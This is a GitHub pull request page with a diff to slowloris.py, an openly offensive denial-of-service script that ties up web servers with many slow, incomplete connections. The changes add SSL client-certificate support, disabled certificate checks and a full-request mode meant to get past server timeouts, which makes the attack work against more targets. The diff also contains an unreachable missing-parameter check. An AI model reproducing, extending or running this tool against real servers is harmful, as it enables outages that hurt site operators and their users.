Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Now slowloris works with untrusted/invalid certificate. #55

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 44 additions & 3 deletions slowloris.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,28 @@
"--https",
dest="https",
action="store_true",
help="Use HTTPS for the requests",
help="use https for the requests",
)
parser.add_argument(
"--cert",
help="Use SSL client certificate (PEM)",
default=None,
)
parser.add_argument(
"--key",
help="Use SSL client private key (PEM)",
default=None,
)
parser.add_argument(
"--password",
help="Password for private key",
default="",
)
parser.add_argument(
"--makerequest",
dest="makerequest",
action="store_true",
help="Send full http request (useful when small request body/header timeout is set but keep-alive is set)",
)
parser.add_argument(
"--sleeptime",
Expand All @@ -75,6 +96,8 @@
parser.print_help()
sys.exit(1)



if args.useproxy:
# Tries to import to external "socks" library
# and monkey patches socket.socket to connect over
Expand Down Expand Up @@ -103,6 +126,13 @@
level=logging.INFO,
)

if None not in [args.cert, args.key]:
if args.cert is None or args.key is None:
print("Supply both parameters (--cert & --key) for connection with client certificate !")
else:
logging.info("Using client certificate.")



def send_line(self, line):
line = f"{line}\r\n"
Expand Down Expand Up @@ -152,13 +182,16 @@ def send_header(self, name, value):
setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)


def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)

if args.https:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
if None not in [args.cert, args.key]:
ctx.load_cert_chain(args.cert, args.key, args.password)
s = ctx.wrap_socket(s, server_hostname=args.host)

s.connect((ip, args.port))
Expand All @@ -171,6 +204,9 @@ def init_socket(ip):

s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
if args.makerequest:
s.send_header("Host", args.host)
s.send_line("\r\n\r\n")
return s


Expand All @@ -197,8 +233,13 @@ def main():
)
for s in list(list_of_sockets):
try:
if args.makerequest:
s.send("\r\n\r\n".encode("utf-8"))
s.send("GET / HTTP/1.1\r\n".encode("utf-8"))
s.send(f"Host: {args.host}\r\n".encode("utf-8"))
s.send_header("X-a", random.randint(1, 5000))
except socket.error:

except socket.error as e:
list_of_sockets.remove(s)

for _ in range(socket_count - len(list_of_sockets)):
Expand Down